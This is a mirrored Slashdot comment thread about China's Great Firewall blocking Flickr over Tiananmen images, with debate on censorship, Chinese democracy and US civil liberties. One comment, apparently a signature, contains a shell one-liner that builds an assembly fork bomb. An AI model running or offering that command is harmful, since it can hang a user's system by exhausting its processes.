Slashdot Mirror
Users Rage Against China's 'Great Firewall'
slugo writes with a CNN article about young professionals increasingly aware of the small part of the internet they're allowed to play in. Intelligent and internet-savvy, these users are frustrated by China's overactive concern for internet health. "Yang Zhou is no cyberdissident, but recent curbs on his Web surfing habits by China's censors have him fomenting discontent ... Yang's fury erupted a few days ago when he found he could not browse his friend's holiday snaps on Flickr.com, due to access restrictions by censors after images of the 1989 Tiananmen Square massacre were posted on the photo-sharing Web site. "Once you've complained all you can to your friends, what more can you do? What else is there but anger and disillusionment?" Yang said after venting his anger with friends at a hot-pot restaurant in Beijing. The blocking of Flickr is the latest casualty of China's ongoing battle to control its sprawling Internet. Wikipedia and a raft of other popular Web sites, discussion boards and blogs have already fallen victim to the country's censors."
Mr. Jintao, tear down this (fire)wall!
Aren't people in China going to ask the question "Why is Flickr not working for me?" and then discover it is due to "controversial imagery of the Tiananmen Square massacre". Hence interest and discussion of this topic the Chinese government is trying to censor is exponentially increased.
If they really wanted to censor what went on at Tiananmen Square, they shouldn't draw attention to it by blocking half the internet. Instead they'd just have to spread disinformation within their own country, while still allowing people to read the "outrageous remarks of terrorist conspiracy theorists on the other side of the world". Little attention would be drawn to the issue: it'd get forgotten about. Blocking half the internet in the name of erasing history is DEFINITELY counterproductive to the cause.
Sure, *most* people will surf porn, just as *most* people will watch American Idol, not PBS. Lowest common denominator and whatnot. That does not deprecate the importance of PBS, nor should it deprecate anonymity online.
Due to circumstances beyond my control, I am master of my fate and captain of my soul.
The people that were angry at China, in China, at the official view of Hu Yaobang, went to protest against it, and by extension the way China was run, starting in May of 1989. This turned into the Tienanmen Square Massacre of June 4, 1989; it's safe to say that over 1,000 people were killed by fellow Chinamen during this event. Zhao Ziyang, for opposing the hardcore measures that his party would eventually take, was placed under house arrest until the day he died, and then allowed to nearly disappear from Chinese history with barely a mention.
:(", they let it ferment, and then they go about their lives, which are usually problematic enough as it is. They do this because they are kept stupid by their government, with almost no way to get real information, or at least no knowledge of how to obtain it, and also a lack of time and resources to obtain said information should it be known how to go about it. This is the reason China's ostensibly trying to build their own fucking internet, for God's sake!
Eighteen years later, families of those that were directly affected by that dark day are given increased surveillance by China's version of the Secret Police; some are even put under a house arrest that's unlawful even by their own standards. Anyone that speaks out even remotely against the government is either put under surveillance, house arrest, or just arrested, sometimes never to be seen again. It's gotten to the point where younger people in China don't even KNOW what happened, or even that June 4 1989 was a significant day in Chinese history; remember, a person working for a newspaper was fired for letting through an obscurely worded advertisement mentioning the Mothers of 64 (64 = June 4), and she'd never even HEARD of the Tienanmen Square massacre; those that try to find it on search engines are either blocked/reported, or given China's "official" (read: lies) opinion on the days' events (essentially, that it was a public uprising that needed to be quelled). The common man in China lives in poverty, intentionally kept down by a government that uses them to further their own personal ambitions, with one or two token executions per year of "corrupt" officials. Essentially, China has become the modern day equivalent of Orwell's astute observations.
If China can effectively whitewash one of the most brutal subjugations of all time, and essentially wipe it from history, what the hell do you think it's thinking of what the article states? They're not worried one iota over what public perception is of how they handle Flickr, or any other website that doesn't play by China's rules. The people don't know any better; they just know that "oh, this can't be reached now
Eventually, peoples' opinions will dull on this matter, because time fades all memories. This will not affect China in one way whatsoever. Everyone from around the world can decry their censorship all they want, but they're always going to be outsiders; China will never let them "pollute" their pool, so to speak. And when the Great Firewall of China filters out anything unpleasing, what will the people know of what the world feels about their country, and their leadership? Eventually, mention of what REALLY happened at Tienanmen will be regarded by the majority of the Chinese populace the way we in America regard anyone that feels the JFK killing was a massive CIA conspiracy; it will be regarded as a massive conspiracy theory to do nothing but get attention and revel against the Man, and the person saying it will be effectively ostracized by his peers, and be put under watch by the government (something that's unlike us here in the US).
Let's stop dilly-dallying and just change "-1: Overrated" to "-1: Disagree" or "-1: Doesn't Subscribe to Groupthink".
It would be nice if that were automatically true. But historically there have been lots of examples of societies that have made no progress toward democracy for thousands of years including China pre revolution. But unlike the Middle East, there's lots of evidence that Chinese people in the 21st century are ready for democracy. E.g. look at Taiwan. Even Singapore seems to me to be likely to turn into a real democracy given time and a lack of strong leaders. Same with Hong Kong.
And in Gorbachev's memoirs he quoted Zhao Ziyang as saying that there should be free elections for the head of the Chinese Communist Party in the short term, and a multiparty system in the long term. Given that he was General Secretary at the time, that's breathtaking. But if you look at Chinese history, lots of people have tried to introduce democracy and most of them ended up either imprisoned, or under house arrest or executed. Incidentally most reactionary movements in China have been strongly nationalist too and it is possible that they will lash out at America, Japan or Taiwan to distract the Chinese people's attention away from their loss of freedom.
So I'd say that it is likely that China will democratise, and there are certainly signs that it is happening. But it's also likely that reactionary politicians will attempt to roll back the process and it's in everyone's interests that the US tries to stop them.
Free societies shouldn't fall for the telelogical fallacy that history has a direction, or be so arrogant as to assume that all societies will end up being like them automagically. Lots of non free societies would still exist if they had been able to isolate themselves from the outside world and achieve a measure of self sufficiency, and China is big enough to do just that.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Young professionals have the means to leave China, even if they don't have the means to change the government. I'd suggest they get out while the getting's good.
The real victims are the oppressed poor and working classes -- they aren't particularly concerned with trivialities like Flickr access, having to submit to what is essentially slave labor due to extreme poverty.
The problem with China is the government and its political philosophy, not the predictable restrictions on information access that totalitarian governments always enact.
Let me be clear to avoid an argument. I agree that we should fight to protect the Constitution and civil liberties.
However, I feel the need to make some clarifications.
First off, the Constitution can only be altered through a clearly defined Amendment process. It has not been Ammended. Thusly, the rights guaranteed in the Constitution are valid. Any lawyer or judge with any sense of decency shouldn't have trouble upholding basic Constitutional rights.
Secondly, both the office of the President and Congress under many different administrations have failed to uphold the liberties the Constitution is supposed to protect. The failures lie both with the President and Congress. These should be brought to light, but not as a means of partisan politics, but rather as a means of upholding civil liberties.
One such minor example was the Telecommunications Decency Act of (94 or 96?) that clearly trampled on free speech. The then Speaker of the House even publicly said it violated the Constitution, yet the House passed it.
Thirdly, the Constitution could use a good Amendment clarifying our rights to privacy. Currently, they aren't really defined. The Constitution states that we can't be forced to self-incriminate, and that is where unlawful searches and such come from. But there have always been exceptions. For instance, if you have reason to suggest that evidence is time sensitive, or will be destroyed, you can search without a warrant. If you have probable cause, you can search without a warrant. Warrant-less searches have occurred for ages, and should not be made to be appear as a recent or partisan issue. Again, this is an issue that should be more clearly defined in legislation and hasn't been.
Fourthly, the second our security is in question, people panic and demand that the government know everything that is going on, and be omniscient in their ability to defend us. This conflicts with our personal desires to not have the government look over our shoulder. Again, this line should be more clearly defined, but it is not.
Lastly, I have not seen a single statement from the White House or any US government official requesting the ability to detail American citizens indefinitely without either charges or due process. There was a controversial provision about detaining immigrants deemed terrorists basically without due process, but it made several clear provisions against applying to American citizens. If you have clear factual evidence that any government official intends to detain American citizens indefinitely without charges or legal due process, that would be very clear grounds for impeachment.
http://blindscribblings.com - Tasty pop-culture in conceptual fashion.